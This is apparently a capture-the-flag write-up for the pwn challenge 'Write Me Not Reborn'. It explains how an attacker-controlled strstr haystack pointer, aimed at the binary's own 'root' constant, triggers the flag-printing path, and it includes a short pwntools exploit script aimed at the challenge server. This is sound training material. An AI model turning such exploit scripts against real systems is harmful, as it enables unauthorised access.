Write Me Not Reborn
Write Me Not Reborn
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: logic_flaw_bypass, rodata_constant_reuse, strstr_attacker_controlled_pointer
Summary
Task: NON-PIE x86-64 pwn binary whose get_flag runs strstr(attacker_pointer, "root") and prints /flag on a match. Solution: point the haystack pointer at the in-binary "root" constant (relocated to 0x402067 in this 'Reborn' variant) so strstr matches and print_flag dumps the flag.
Write Me Not Reborn — pwn_spbctf
Description
Can you ask me well enough?
A 64-bit x86-64 ELF (write_me_not2) served over nc 109.233.56.90 11622. It is the "Reborn" sequel to Write Me Not. Protections: NON-PIE (loaded at 0x400000), NX, Partial RELRO, no stack canary. Author: Ilya Shilov (@Shtrikh17).
The goal is to make the program read and print the contents of /flag.
Analysis
The binary exposes a small menu (same structure as write_me_not1):
| Option | Function | Behavior |
|---|---|---|
0 | read_func @ 0x4012d9 | arbitrary read: printf("%s", ptr) |
1 | write_func @ 0x401395 | arbitrary 1-byte write: sprintf(dest, "%c", val) |
2 | get_flag @ 0x40146a | the intended "win" path |
3 | help | |
| |
scan_hex @ 0x4011ee requires every numeric input to start with the literal 0x.
The interesting (and flawed) function is get_flag:
c read-only • copy allowedvoid get_flag() { char *P = scan_hex("Address: "); // attacker-controlled pointer if (strstr(P, "root") != NULL) // needle "root" at .rodata 0x402067 print_flag(); // fopen("/flag"), fgets, puts }
get_flag reads an attacker-supplied pointer P, then calls strstr(P, "root"). If the substring "root" is found in the memory pointed to by P, it calls print_flag(), which simply fopen("/flag"), fgets, puts.
The flaw: the haystack pointer P is fully attacker-controlled. We do not need to find or place "root" anywhere — the needle string "root" literally exists inside the binary's .rodata (it is the constant fed to strstr). The disassembly of get_flag shows a lea rsi, [rip+...] loading the needle. In this version that constant resolves to address 0x402067.
Because the binary is NON-PIE, that address is fixed across runs. If we pass the haystack pointer equal to the "root" constant address, then strstr(0x402067, "root") trivially matches itself and print_flag() runs.
This is the exact same logic flaw as in v1. The only thing the "Reborn" sequel changed was the .rodata layout — the "root" constant moved from 0x402077 (v1) to 0x402067 (v2). The bypass is identical once the new constant address is re-derived from the disassembly.
Solution
- Connect to the service.
- Select option
2(get_flag). - At the
Address:prompt, send the address of the in-binary"root"constant,0x402067. strstrmatches,print_flag()dumps/flag.
python read-only • copy allowed#!/usr/bin/env python3 # exp_wmn2.py — Write Me Not Reborn (pwn_spbctf) from pwn import * # io = process('./write_me_not2') io = remote('109.233.56.90', 11622) ROOT = 0x402067 # address of the "root" constant in .rodata (NON-PIE, fixed) io.recvuntil(b'> ') io.sendline(b'2') # get_flag io.recvuntil(b'Address: ') io.sendline(b'%#x' % ROOT) # point strstr haystack at "root" itself print(io.recvall().decode(errors='replace'))
Running it prints the flag (and the flag was accepted as "correct" by the platform via POST flag).